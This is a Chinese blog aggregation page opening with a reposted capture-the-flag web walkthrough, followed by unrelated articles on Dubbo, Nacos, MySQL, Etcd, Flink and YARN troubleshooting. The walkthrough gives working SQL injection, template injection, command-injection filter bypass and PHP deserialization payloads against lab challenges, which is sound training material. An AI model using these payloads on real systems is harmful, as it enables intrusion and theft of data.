就用到SSTI模板注入了 具体看这里 尝试模板注入: /error?msg={ {1} } 发现存在模板注入 md5(cookie_secret+md5(filename)) 分析题目: 1.tornado是一个python的模板,可能会产生SSTI注入漏洞2.flag在/fllllllllllllag中3.render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页4.可以推断出filehash的值为md5(cookie_secret+md5(filename)) 根据目前信息,想要得到flag就需要获取cookie_secret 因为tornado存在模版注入漏洞,尝试通过此漏洞获取到所需内容 根据测试页面修改msg得值发现返回值 可以通过msg的值进行修改,而在 taornado框架中存在cookie_secreat 可以通过/error?msg={ {handler.settings} }拿到secreat_cookie 综合以上结果 拿脚本跑一下 得到filehash: ed75a45308da42d3fe98a8f15a2ad36a 一直跑不出来 不知道为啥子 [极客大挑战 2019]LoveSQL 万能密码尝试 直接上万能密码 用户随意 admin1' or 1; 开始正常注入: 查字段:1' order by 3 经过测试 字段为3 查看回显:1’ union select 1,2,3 查数据库 1' union select 1,2,group_concat(schema_name) from information_schema.schemata 查表: [GXYCTF2019]Ping Ping Ping 考察:RCE的防护绕过 直接构造:?ip=127.0.0.1;ls 简单的fuzz一下 就发现=和$没有过滤 所以想到的思路就是使用$IFS$9代替空格,使用拼接变量来拼接出Flag字符串: 构造playload ?ip=127.0.0.1;a=fl;b=ag;cat$IFS$9$a$b 看看他到底过滤了什么:?ip=127.0.0.1;cat$IFS$1index.php 一目了然过滤了啥,flag字眼也过滤了,bash也没了,不过sh没过滤: 继续构造payload: ?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh 查看源码,得到flag flag{1fe312b4-96a0-492d-9b97-040c7e333c1a} [RoarCTF 2019]Easy Calc 进入题目链接 查看源码 发现calc.php 利用PHP的字符串解析特性Bypass,具体看这里 HP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事: 1.删除空白符2.将某些字符转换为下划线(包括空格) scandir():列出参数目录中的文件和目录 发现/被过滤了 ,可以用chr('47')代替 calc.php? num=1;var_dump(scandir(chr(47))) 这里直接上playload calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))) flag{76243df6-aecb-4dc5-879e-3964ec7485ee} [极客大挑战 2019]Knife 进入题目链接 根据题目Knife 还有这个一句话木马 猜想尝试用蚁剑连接 测试连接成功 确实是白给了flag [ACTF2020 新生赛]Exec 直接ping 发现有回显 构造playload: 127.0.0.1;cat /flag 成功拿下flag flag{7e582f16-2676-42fa-8b9d-f9d7584096a6} [极客大挑战 2019]PHP 进入题目链接 它提到了备份文件 就肯定是扫目录 把源文件的代码 搞出来 上dirsearch 下载看这里 很简单的使用方法 用来扫目录 -u 指定url -e 指定网站语言 -w 可以加上自己的字典,要带路径 -r 递归跑(查到一个目录后,重复跑) 打开index.php文件 分析这段内容 1.加载了一个class.php文件 2.采用get方式传递一个select参数 3.随后将之反序列化 打开class.php <?phpinclude 'flag.php';error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();} }}?> 根据代码的意思可以知道,如果password=100,username=admin 在执行_destruct()的时候可以获得flag 构造序列化 <?phpclass Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;} }$a = new Name('admin', 100);var_dump(serialize($a));?> 得到了序列化 O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;} 但是 还有要求 1.跳过__wakeup()函数 在反序列化字符串时,属性个数的值大于实际属性个数时,就可以 2.private修饰符的问题 private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度 构造最终的playload ?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;} [极客大挑战 2019]Http 进入题目链接 查看 源码 发现了 超链接的标签 说我们不是从https://www.Sycsecret.com访问的 进入http://node3.buuoj.cn:27883/Secret.php 抓包修改一下Referer 执行一下 随后提示我们浏览器需要使用Syclover, 修改一下User-Agent的内容 就拿到flag了 [HCTF 2018]admin 进入题目链接 这道题有三种解法 1.flask session 伪造 2.unicode欺骗 3.条件竞争 发现 登录和注册功能 随意注册一个账号啦 登录进来之后 登录 之后 查看源码 发现提示 猜测 我们登录 admin账号 即可看见flag 在change password页面发现 访问后 取得源码 第一种方法: flask session 伪造 具体,看这里 flask中session是存储在客户端cookie中的,也就是存储在本地。flask仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。 [极客大挑战 2019]BabySQL 进入题目链接 对用户名进行测试 发现有一些关键字被过滤掉了 猜测后端使用replace()函数过滤 11' oorr 1=1 直接尝试双写 万能密码尝试 双写 可以绕过 查看回显: 1' uniunionon selselectect 1,2,3 over!正常 开始注入 爆库 爆列 爆表 爆内容 本篇文章为转载内容。原文链接:https://blog.csdn.net/wo41ge/article/details/109162753。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-11-13 21:30:33
303
转载
转载文章
在处理与Zabbix服务器及SELinux相关的权限问题时,除了临时关闭或永久禁用SELinux外,更安全且推荐的做法是调整SELinux策略以适应Zabbix服务的运行需求。实际上,针对特定应用如Zabbix进行SELinux上下文和模块的定制化配置,可以在保持系统安全的同时确保服务正常运行。 近期(根据实际日期填写),Zabbix官方社区发布了一篇关于如何在启用SELinux环境下正确配置Zabbix的文章,详细阐述了如何编写自定义SELinux模块,为Zabbix服务创建适当的端口、文件和目录类型的标签,以及如何设置布尔值以允许Zabbix与必要的套接字进行交互。通过遵循这些指导步骤,用户可以在享受SELinux提供的强大安全保障的同时,避免因权限问题导致的服务启动失败。 此外,Linux内核开发者和安全专家也不断强调,不应轻易禁用SELinux,而是应深入了解并利用其规则来优化系统安全性。例如,在一篇由Red Hat发布的技术博客中,作者深入剖析了SELinux的工作原理,并给出了针对类似“Permission denied”错误的实战解决方案,其中包括如何查看和修改SELinux上下文,以及使用audit2allow工具生成自定义模块。 总之,面对Zabbix等应用程序与SELinux之间的兼容性问题,应当优先选择细化SELinux策略,而不是简单地禁用它。通过查阅最新的官方文档、社区讨论和技术博客,可以获取到实时有效的解决方案,帮助系统管理员更好地驾驭SELinux,确保系统的安全稳定运行。
2023-04-15 23:41:26
298
转载
Dubbo
... Dubbo 提供的服务时,突然发现服务调用链路断裂了?这种情况下,如何快速定位问题,找出解决方案呢?本文将带你一起探索 Dubbo 服务调用链路断裂的问题。 二、Dubbo 服务调用链路介绍 首先,我们来了解一下 Dubbo 的服务调用链路。Dubbo是一款很赞的开源Java RPC框架,它超级给力,能支持跨语言通信。简单来说,就是它提供了一堆实用的接口和服务工具箱,让开发者们轻轻松松就能搭建起高效的分布式系统,就像搭积木一样方便快捷。在 Dubbo 中,一个服务调用链路包括以下步骤: 1. 客户端向注册中心发起服务请求。 2. 注册中心根据服务名查找对应的提供者列表,并返回给客户端。 3. 客户端从提供者列表中选择一个提供者进行调用。 4. 提供者接收到来自客户端的请求并处理,然后返回响应数据。 5. 客户端接收到响应数据后,整个服务调用链路结束。 三、服务调用链路断裂原因分析 当 Dubbo 服务调用链路发生断裂时,通常可能是以下几个原因导致的: 1. 网络中断 例如服务器故障、网络波动等。 2. 服务不可用 提供者服务未正常运行,或者服务注册到注册中心失败。 3. 调用超时 例如客户端设置的调用超时时间过短,或者提供者处理时间过长。 4. 编码错误 例如序列化/反序列化错误,或者其他逻辑错误。 四、案例分析 Dubbo 服务调用链路断裂实践 接下来,我们将通过一个具体的 Dubbo 实现示例,看看如何解决服务调用链路断裂的问题。 java // 创建 Dubbo 配置对象 Configuration config = new Configuration(); config.setApplication("application"); config.setRegistry("zookeeper://localhost:2181"); config.setProtocol("dubbo"); // 创建消费者配置 ReferenceConfig consumerConfig = new ReferenceConfig<>(); consumerConfig.setInterface(HelloService.class); consumerConfig.setVersion("1.0.0"); consumerConfig.setUrl(config.toString()); // 获取 HelloService 实例 HelloService helloService = consumerConfig.get(); // 使用实例调用服务 String response = helloService.sayHello("world"); System.out.println(response); // 输出 "Hello world" 五、故障排查与解决方案 当 Dubbo 服务调用链路发生断裂时,我们可以采取以下措施进行排查和修复: 1. 查看日志 通过查看 Dubbo 相关的日志,可以帮助我们了解服务调用链路的具体情况,如异常信息、执行顺序等。 2. 使用调试工具 例如 JVisualVM 或 Visual Studio Code,可以实时监控服务的运行状态,帮助我们找到可能存在的问题。 3. 手动复现问题 如果无法自动复现问题,可以尝试手动模拟相关环境和条件,以获取更准确的信息。 4. 优化服务配置 针对已知问题,可以调整 Dubbo 配置,如增大调用超时时间、优化服务启动方式等。 六、结论 在实际使用 Dubbo 的过程中,服务调用链路断裂是常见的问题。通过实实在在地深挖问题的根源,再结合实际场景中的典型案例动手实践一下,咱们就能更接地气、更透彻地理解 Dubbo 是怎么运作的。这样一来,碰到服务调用链路断掉的问题时,咱就能轻松应对,把它给妥妥地解决了。希望本文能够对你有所帮助,期待你的留言和分享!
2023-06-08 11:39:45
490
晚秋落叶-t
Nacos
...很多问题,尤其是在微服务架构中,服务发现和配置管理是最常见的问题之一。而Nacos就成为了我的解决方案。今天,我想跟大伙儿唠唠我在使用Nacos这玩意儿时的一些亲身体验和感悟,还有在实际编程开发过程中碰到的那些“坑”和我是如何一一填平的。 二、初识Nacos Nacos是阿里巴巴开源的一款面向微服务应用的治理平台,提供了服务注册和服务发现的功能,同时也可以进行配置中心的服务,包含了动态配置、健康检查、分组管理等功能。我对Nacos的第一印象就是它的易用性和灵活性。 三、使用Nacos的心得体会 1. 简单易用 Nacos的设计非常简洁,操作流程也非常清晰,很容易上手。只需要简单的几步操作就可以完成服务注册和服务发现的过程。 2. 功能强大 Nacos的功能非常丰富,不仅可以实现服务注册和服务发现,还可以实现动态配置、健康检查、分组管理等功能,满足了我们在微服务架构中的各种需求。 3. 高可用 Nacos的高可用性设计非常好,即使在集群环境下的节点故障,也不会影响到其他节点的正常工作。 四、使用Nacos的过程中遇到的问题及解决方法 1. 问题一 无法获取注册的服务信息 解决方法:首先需要确认Nacos服务是否启动成功,其次需要查看服务的IP地址和端口号是否正确。 java // 使用Nacos进行服务注册 NacosServiceRegister register = new NacosServiceRegister("localhost", 8848); register.registerService("service1", "http://localhost:9090"); 2. 问题二 服务发现失败 解决方法:首先需要确认Nacos服务是否启动成功,其次需要查看服务的IP地址和端口号是否正确,最后需要确认服务是否已经注册到Nacos中。 java // 使用Nacos进行服务发现 NacosServiceDiscover discover = new NacosServiceDiscover("localhost", 8848); List serviceInstances = discover.discoverService("service1"); for (String instance : serviceInstances) { System.out.println(instance); } 五、结语 总的来说,Nacos是一款非常好的服务治理工具,它的易用性、功能性和高可用性都给我留下了深刻的印象。虽然在用的过程中,免不了会碰到些磕磕绊绊的小问题,不过别担心,只要我们肯花时间耐心读读那份详尽的说明书,或者主动出击去寻求帮助,这些问题都能迎刃而解,变得不再是问题。我坚信,随着Nacos这个小家伙不断进步和完善,它在微服务架构这块地盘上,绝对能闹腾出更大的动静,发挥更关键的作用。
2023-05-24 17:04:09
76
断桥残雪-t
MySQL
...之地。 二、步骤一 启动命令行探险 1.1 打开命令行的宝箱 首先,我们打开那个神秘的黑色窗口——命令提示符(Windows)或终端(Mac/Linux)。这将是我们与MySQL进行对话的第一个界面。 2.2 寻找MySQL的踪影 键入cmd或Terminal,然后按回车。接着,让我们尝试进入MySQL的根目录,例如,如果你的MySQL安装在C盘的Program Files文件夹下,你可以输入: bash cd C:\Program Files\MySQL\MySQL Server 5.7 (或你的实际版本) 确保替换5.7为你实际的MySQL服务器版本号。 三、步骤二 试驾MySQL马车 1.3 登录MySQL的王国 一旦到达目的地,我们需要驾驭mysql命令来连接到我们的数据库。输入以下命令: bash mysql -u root -p 然后按回车。系统会提示你输入root用户的密码。输入后,你会看到类似这样的欢迎信息: Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 100 Server version: 5.7.33 MySQL Community Server (GPL) 如果看到类似的输出,那就意味着MySQL正在运行,并且你已经成功登录。 四、步骤三 深入检查安装状态 1.4 确认安装细节 为了进一步验证,我们可以执行status命令,这将显示服务器的状态和版本信息: SHOW VARIABLES LIKE 'version'; 这段代码会返回你的MySQL服务器的具体版本号,确认安装是否正确。 五、步骤四 启动服务的另一种方式 1.5 刷新记忆:服务视角 有时候,我们可能想要通过操作系统的服务管理器来检查MySQL是否作为服务正在运行。在Windows上,可以输入: powershell sc query mysql 在Linux或macOS中,使用systemctl status mysql或service mysql status。 六、代码片段 连接与断开 1.6 实战演练:连接失败的警示 为了展示连接不成功的场景,假设连接失败,你可能会看到类似这样的错误: php $conn = mysqli_connect('localhost', 'root', 'password'); if (!$conn) { die("Connection failed: " . mysqli_connect_error()); } 如果代码中mysqli_connect_error()返回非空字符串,那就意味着连接有问题。 七、结论 建立信任关系 通过以上步骤,你应该能够确定MySQL是否已经成功安装并运行。记住了啊,每当你要开始新的项目或者打算调整系统设置的时候,一定要记得这个重点,因为一个健健康康的数据库,那可是任何应用程序运行的命脉所在啊,就像人的心脏一样重要。要是你碰到啥问题,千万记得翻翻MySQL的官方宝典,或者去社区里找大伙儿帮忙。那儿可有一大群身经百战的老骑士们,他们绝对能给你提供靠谱的指导! 在你的编程旅程中,MySQL的安装和管理只是开始,随着你对其掌握的加深,你将能驾驭更多的高级特性,让数据安全而高效地流淌。祝你在数据库管理的征途上马到成功!
2024-03-08 11:25:52
117
昨夜星辰昨夜风-t
Linux
无法启动Linux系统服务:问题诊断与解决实战 一、引言 在Linux运维的日常工作中,我们偶尔会遇到一些棘手的问题,比如系统服务无法启动。这种情况可能会让人急得像热锅上的蚂蚁,毕竟,服务的正常运行可是确保整个系统功能稳稳当当的关键所在啊!今天,咱们就一起手拉手,深入地挖一挖这个问题哈!咱不光说空话,还要实实在在地摆出实例代码,像破案一样一步步排查,把那个“Linux系统服务启动不了”的捣蛋鬼揪出来,彻底搞明白,搞定它! 二、场景再现与初步分析 假设我们在尝试启动名为my_service的服务时遇到了问题,使用systemctl命令却收到"Job for my_service.service failed because the control process exited with error code."这样的提示: bash sudo systemctl start my_service 看到这样的错误信息,作为Linux系统的守护者,我们的第一反应可能是查看服务的状态以及其详细的日志信息,以了解更具体的故障原因: bash sudo systemctl status my_service journalctl -xeu my_service 三、详细排查与解决步骤 1. 检查服务配置文件 配置文件可能存在语法错误或关键参数设置不当。例如,检查/etc/systemd/system/my_service.service文件中的ExecStart指令是否正确指向了服务启动脚本: ini [Service] ExecStart=/usr/local/bin/my_service_start.sh 如果路径不正确或者启动脚本存在问题,自然会导致服务启动失败。 2. 查阅服务启动日志 日志中通常会包含更为详细的错误信息。就像刚才提到的这个命令“journalctl -xeu my_service”,它就像是个侦探,能帮我们在服务启动过程中的茫茫线索中,精准定位到问题究竟出在哪里,以及为什么会出错,可真是咱们排查故障的好帮手。 3. 检查依赖服务 服务无法启动还可能是因为其依赖的服务未启动。在服务配置文件里头,我们可以重点瞅瞅“After”和“Requires”这两个字段,它们可是帮我们瞧瞧是否有啥依赖关系的关键家伙。这样一来,咱就能保证所有相关的依赖服务都运转得妥妥的,一切正常哈! ini [Unit] After=network.target database.service Requires=database.service 4. 手动执行服务启动脚本 在确定配置无误后,尝试手动执行服务启动脚本,看看是否可以独立运行,这有助于进一步缩小问题范围: bash /usr/local/bin/my_service_start.sh 5. 资源限制问题 检查系统资源(如内存、CPU、磁盘空间等)是否充足,服务启动可能因为资源不足而失败。例如,通过free -m、df -h等命令进行资源检查。 四、总结与反思 面对Linux系统服务无法启动的问题,我们需要冷静分析,逐层排查。从设置服务的小细节,到启动时的日志记录,再到服务间的相互依赖关系以及资源使用的各种限制,每一个环节都得让我们瞪大眼睛、开动脑筋,仔仔细细地去琢磨和研究。通过亲手操作和实实在在的代码实例,咱们能更接地气地领悟Linux系统服务是怎么运转的,而且在遇到问题时,也能亮出咱们解决难题的勇气和智慧,就像个真正的技术大牛那样。 总的来说,无论遇到何种技术问题,保持耐心、细心地查找线索,结合实践经验去理解和修复,这是我们每一位Linux运维人员必备的职业素养和技能。记住,每一次成功解决的问题,都是我们向更高技术水平迈进的坚实台阶!
2023-06-29 22:15:01
159
灵动之光
Nacos
...Nacos修改密码后服务无法启动的问题及其解决方案后,我们发现此类问题其实反映出了微服务架构中配置管理和安全性维护的重要性。近期,随着云原生和DevOps理念的普及,如何确保服务配置的安全与一致性成为了业界关注的重点。 2021年,阿里巴巴集团在《阿里云Nacos最佳实践白皮书》中特别强调了对配置中心安全性的强化,提倡使用统一的身份认证和授权机制,如OAuth2、JWT等,并提醒用户及时更新和同步密码等敏感信息以避免服务中断。 此外,对于微服务架构中的配置管理,CNCF(Cloud Native Computing Foundation)社区也推出了Config Connector等工具,旨在提供一种集中式、安全可靠的方式来管理Kubernetes集群中的资源配置和服务账户权限,从而有效防止因配置变更带来的服务异常情况。 总的来说,在现代分布式系统中,正确处理配置服务的访问控制与密码策略是保证系统稳定运行的关键一环。通过持续关注行业动态和最佳实践,结合文中所述的具体解决办法,我们可以更好地应对类似Nacos密码修改后服务启动失败这类问题,实现更加稳健的微服务运维管理。
2024-01-03 10:37:31
117
月影清风_t
Etcd
Etcd服务启动时无法加载先前持久化的快照文件问题解析及解决方案 1. 引言 Etcd,作为分布式键值存储系统,常被用于服务发现、配置共享和一致性保证等场景。在实际运行过程中,Etcd会周期性地将数据持久化为快照文件以防止数据丢失。然而,当我们重启Etcd服务时,可能会遇到无法加载先前持久化的快照文件的问题,这无疑对系统的稳定性构成了威胁。这篇东西,咱们会好好挖一挖这个问题背后的为啥,然后我还会甩出些实例代码和实战经历,实实在在地给你亮出解决方案。 2. 快照文件加载失败的可能原因 2.1 文件损坏或不完整 在Etcd进行持久化操作时,如果出现如磁盘空间不足、写入过程中服务器宕机等情况,可能导致生成的快照文件损坏或不完整,从而使得Etcd在重启时无法成功加载这些文件。 bash 示例:Etcd启动日志中可能显示的错误信息 etcd: snapshot file /var/lib/etcd/member/snap/db.snap is corrupted or has a wrong version 2.2 版本不兼容 Etcd在升级版本时,旧版本创建的快照文件可能与新版本存在兼容性问题,导致新版本的Etcd服务无法正确加载旧版本的快照文件。 2.3 文件权限问题 如果Etcd进程没有足够的权限访问快照文件,也会导致加载失败。 2.4 配置路径不一致 在Etcd启动配置中,如果指定的数据目录与快照文件的实际存放路径不匹配,自然会导致Etcd找不到并加载快照文件。 3. 解决方案及实战示例 3.1 检查和修复快照文件 首先,我们需要确认快照文件是否损坏或不完整。可以尝试使用etcdctl工具来检查快照文件: bash etcdctl snapshot status /path/to/snapshot.db 如果确实存在问题,可以考虑从备份恢复或者重新启动一个全新的Etcd集群,然后重新导入数据。 3.2 确保版本兼容性 在升级Etcd版本时,应遵循官方发布的升级指南,确保有正确的迁移步骤。如有必要,可先将旧版Etcd的数据进行备份,并在新版Etcd启动后执行恢复操作。 3.3 调整文件权限 确保Etcd进程用户有足够的权限访问快照文件,例如: bash chown -R etcd:etcd /var/lib/etcd/ 3.4 核实启动配置中的数据目录 请确保Etcd启动命令或配置文件中的数据目录参数(--data-dir)指向包含快照文件的实际路径。 bash ./etcd --data-dir=/var/lib/etcd/member --snapshot-count=10000 4. 总结与思考 在处理Etcd无法加载先前持久化快照文件的问题时,我们不仅需要排查具体的技术原因,还要根据实际情况灵活运用各种应对策略。同时呢,这也正好敲响了我们日常运维的小闹钟,告诉我们得把Etcd集群数据的定期备份和检查工作给提上日程,可不能马虎。而且呀,在进行版本升级的时候,也要瞪大眼睛留意一下兼容性问题,别让它成了那只捣蛋的小鬼。说到底,只有真正把它的运作机理摸得门儿清,把那些潜在的风险点都研究透彻了,咱们才能把这个强大的分布式存储工具玩转起来,保证咱的业务系统能够稳稳当当地跑起来。就像医生看病那样,解决技术问题也得我们像老中医似的,耐着性子慢慢来,得“望闻问切”全套做齐了,也就是说,得仔细观察、耐心倾听、多角度询问、深度剖析,一步步把各种可能的问题排除掉,最后才能揪出那个隐藏的“罪魁祸首”。
2023-07-24 14:09:40
778
月下独酌
Nacos
...Nacos修改密码后服务无法启动的问题后,我们对服务配置管理有了更深入的理解。实际上,随着微服务架构的广泛应用,服务配置中心的重要性日益凸显。Nacos作为阿里巴巴开源的一款集成了服务注册与发现、动态配置管理、命名服务等功能的组件,在众多项目中扮演了关键角色。 近日,Nacos社区发布了全新的版本更新,增强了安全性和稳定性,并优化了用户密码管理和权限控制机制。新版本允许用户通过界面或API更加便捷地进行密码修改和同步更新至存储介质,有效避免了类似本文所提及的因密码更新导致服务启动失败的问题。 同时,对于服务配置的安全性,业内专家建议采用更为严谨的策略,如定期更换密码并启用双因素认证等措施,确保即使密码泄露也能有效防止非法访问。此外,结合Kubernetes等容器编排技术实现配置的自动化管理与分发,也是现代云原生架构下的重要实践。 进一步了解Nacos及相关的配置管理最佳实践,不仅可以提升我们的技术栈深度,更能为构建高可用、安全且易维护的微服务体系提供有力支持。因此,推荐读者关注Nacos官方文档以及社区的最新动态,同时也可查阅更多关于服务治理、配置中心设计与实践的相关资料,以期在实际工作中更好地应对各类挑战。
2023-06-03 16:34:08
183
春暖花开_t
Nacos
...“dataId”加载失败的问题后,我们还可以进一步探索配置中心在现代微服务架构中的重要性和最佳实践。近期,阿里巴巴集团在其官方技术博客上分享了关于Nacos 2.0版本的一系列新特性及优化,其中包括更强大的配置管理功能和对环境变量动态解析能力的增强,这些改进能够更好地帮助开发者应对上述提到的配置文件路径、内容和环境变量相关问题。 实际上,随着云原生时代的到来,配置中心在保障服务高可用、实现灰度发布、快速迭代等方面扮演着至关重要的角色。例如,在Kubernetes等容器编排系统中,结合ConfigMap和Nacos等配置中心工具,可以实现配置的集中管理和动态注入,有效降低运维复杂度并提升系统的灵活性。 此外,对于“gatewayserver-dev-${server.env}.yaml”这类含有变量的配置文件名,业界也提出了一些创新解决方案,如通过服务启动时自动识别和填充环境变量,或者采用统一的配置模板引擎来实现在不同环境下配置的智能切换。因此,深入研究并掌握这些高级特性和应用场景,将有助于我们构建更为健壮、易维护的微服务体系结构。
2024-01-12 08:53:35
171
夜色朦胧_t
Flink
...ceManager未启动问题详解:一次深入排查之旅 在大数据处理的世界里,Apache Flink作为一款强大的流处理和批处理框架,因其高效、灵活的特点广受开发者们的喜爱。然而,在实际操作和使用这套系统的过程中,我们免不了会碰到各种意想不到的小插曲,其中一个常见的状况就是这“ResourceManager竟然没启动”。这次,咱们要深入地“解剖”这个故障现象,就像侦探破案那样一步步揭开它的神秘面纱。我还会配上一些实实在在的代码例子,手把手地带你们摸清这个问题是怎么来的,以及怎么把它给妥妥地解决掉,让大家都能明明白白、清清楚楚地掌握整个过程。 1. ResourceManager的角色与重要性 首先,让我们简单了解一下Flink架构中的ResourceManager(RM)。在Flink这个大家庭里,ResourceManager就像个大管家,专门负责统筹和管理整个集群的资源。每当JobManager需要执行作业时,这位大管家就会出手相助,给它分配合适的TaskManager资源,确保作业能够顺利进行。如果ResourceManager还没启动的话,那就意味着你的整个Flink集群就像个没睡醒的巨人,无法正常地给各个任务分配资源、协调运行,这影响有多大,不用我多说,你肯定明白啦。 bash 在Flink集群模式下,启动ResourceManager的命令示例 ./bin/start-cluster.sh 2. ResourceManager未启动的表现及原因分析 2.1 表现症状 当你尝试提交一个Flink作业到集群时,如果收到类似"Could not retrieve the cluster configuration from the resource manager"的错误信息,那么很可能就是ResourceManager尚未启动或未能正确运行。 2.2 常见原因探讨 - 配置问题:检查flink-conf.yaml配置文件是否正确设置了ResourceManager相关的参数,如jobmanager.rpc.address和rest.address等。这些设置直接影响了客户端如何连接到ResourceManager。 yaml flink-conf.yaml示例 jobmanager.rpc.address: localhost rest.address: 0.0.0.0 - 服务未启动:确保已经执行了启动ResourceManager的命令,且没有因为环境变量、端口冲突等原因导致服务启动失败。 - 网络问题:检查Flink集群各组件间的网络连通性,尤其是ResourceManager与JobManager之间的通信是否畅通。 - 资源不足:ResourceManager可能由于系统资源不足(例如内存不足)而无法启动,需要关注日志中是否存在相关异常信息。 3. 解决思路与实践 3.1 检查并修正配置 针对配置问题,我们需要对照官方文档仔细核对配置项,确保所有涉及ResourceManager的配置都正确无误。可以通过修改flink-conf.yaml后重新启动集群来验证。 3.2 查看日志定位问题 查看ResourceManager的日志文件,通常位于log/flink-rm-$hostname.log,从中可以获取到更多关于ResourceManager启动失败的具体原因。 3.3 确保服务正常启动 对于服务未启动的情况,手动执行启动命令并观察输出,确认ResourceManager是否成功启动。如果遇到启动失败的情况,那就得像解谜一样,根据日志给的线索来进行操作。比如,可能需要你换个端口试试,或者解决那些让人头疼的依赖冲突问题,就像玩拼图游戏时找到并填补缺失的那一块一样。 bash 查看ResourceManager是否已启动 jps 应看到有FlinkResourceManager进程存在 3.4 排查网络与资源状况 检查主机间网络通信,使用ping或telnet工具测试必要的端口连通性。同时呢,记得瞅瞅咱们系统的资源占用情况咋样哈,如果发现不太够使了,就得考虑给ResourceManager分派更多的资源啦。 4. 结语 在探索和解决Flink中ResourceManager未启动的问题过程中,我们需要具备扎实的理论基础、敏锐的问题洞察力以及细致入微的调试技巧。每一次解决问题的经历都是对技术深度和广度的一次提升。记住啊,甭管遇到啥技术难题,最重要的是得有耐心,保持冷静,像咱们正常人一样去思考、去交流。这才是我们最终能够破解问题,找到解决方案的“秘籍”所在!希望这篇内容能实实在在帮到你,让你对Flink中的ResourceManager未启动问题有个透彻的了解,轻松解决它,让咱的大数据处理之路走得更顺溜些。
2023-12-23 22:17:56
758
百转千回
Hadoop
...Manager初始化失败问题解决方案 引言 如果你是一名大数据工程师,那么你肯定对Hadoop这个名字并不陌生。你知道吗,那个叫Hadoop的开源大数据处理工具现在可火啦!不少公司都把它捧在手心里,广泛应用在自家的各种业务场景里头。这玩意儿就像个大数据处理的超级英雄,在企业界混得风生水起的!在Hadoop这个大家族里,有个不可或缺的角色名叫YARN(也就是“又一个资源协调器”这小名儿),它可是肩负重任的大管家,主要负责给各个任务分配资源、调度工作,可重要着呢!在实际工作中,我们常常会碰到一些让人挠头的小插曲,比如那个烦人的“YARN ResourceManager初始化不成功”的问题。这不,本文就要专门来和大家唠唠这个问题,掰开揉碎了详细分析,并且给出解决它的锦囊妙计。 什么是YARN? 首先,我们需要了解一下什么是YARN。简单来说呢,YARN就是个大管家,它在Hadoop2.x这个大家族里担任着资源管理和作业调度的重要角色。你可以把它想象成一个超级调度员,负责统筹协调所有资源的分配和各种任务的执行顺序,可厉害了!它就像个超级接班人,接手了Hadoop1.x那个老版本里MapReduce任务调度员的活儿,而且表现得更出色,不仅能更高效地给各种任务排兵布阵,还把任务管理这块搞得井井有条。在YARN这个大系统里,Resource Manager(RM)可是个举足轻重的角色。你就把它想象成一个超级大管家吧,它的日常工作就是紧盯着整个集群的资源状况,确保一切都在掌握之中。不仅如此,它还兼职了“调度员”的角色,各种类型的请求都会涌向它,然后由它来灵活调配、合理分配给各个部分去执行。 YARN ResourceManager初始化失败的原因 当我们运行一个Hadoop应用时,YARN ResourceManager是最先启动的服务。如果出现“YARN ResourceManager初始化失败”的错误,通常会有很多种原因导致。下面我们就来一一剖析一下。 1. 集群资源不足 当集群的物理资源不足时,例如CPU、内存等硬件资源紧张,就可能导致YARN ResourceManager无法正常初始化。此时需要考虑增加集群资源,例如增加服务器数量,升级硬件设备等。 2. YARN配置文件错误 YARN的运行依赖于一系列的配置文件,包括conf/hadoop-env.sh、core-site.xml、mapred-site.xml、yarn-site.xml等。要是这些配置文件里头有语法错误,或者设置得不太合理,就可能导致YARN ResourceManager启动时栽跟头,初始化失败。此时需要检查并修复配置文件。 3. YARN环境变量设置不当 YARN的运行还需要一些环境变量的支持,例如JAVA_HOME、HADOOP_HOME等。如果这些环境变量设置不当,也会导致YARN ResourceManager初始化失败。此时需要检查并设置正确的环境变量。 4. YARN服务未正确启动 在YARN环境中,还需要启动一些辅助服务,例如NameNode、DataNode、Zookeeper等。如果这些服务未正确启动,也会导致YARN ResourceManager初始化失败。此时需要检查并确保所有服务都已正确启动。 如何解决“YARN ResourceManager初始化失败”? 了解了问题的原因后,接下来就是如何解决问题。根据上述提到的各种可能的原因,我们可以采取以下几种方法进行尝试: 1. 增加集群资源 对于因为集群资源不足而导致的问题,最直接的解决办法就是增加集群资源。这可以通过添加新的服务器,或者升级现有的服务器硬件等方式实现。 2. 修复配置文件 对于因为配置文件错误而导致的问题,我们需要仔细检查所有的配置文件,找出错误的地方并进行修复。同时,咱也得留意一下,改动配置文件这事儿,就像动了机器的小神经,可能会带来些意想不到的“副作用”。所以呢,在动手修改前,最好先做个全面体检——也就是充分测试啦,再给原来的文件留个安全备份,这样心里才更有底嘛。 3. 设置正确的环境变量 对于因为环境变量设置不当而导致的问题,我们需要检查并设置正确的环境变量。如果你不清楚环境变量到底该怎么设置,别担心,这里有两个实用的解决办法。首先呢,你可以翻阅一下Hadoop官方网站的官方文档,那里面通常会有详尽的指导步骤;其次,你也可以尝试在互联网上搜一搜相关的教程或者攻略,网上有很多热心网友分享的经验,总有一款适合你。 4. 启动辅助服务 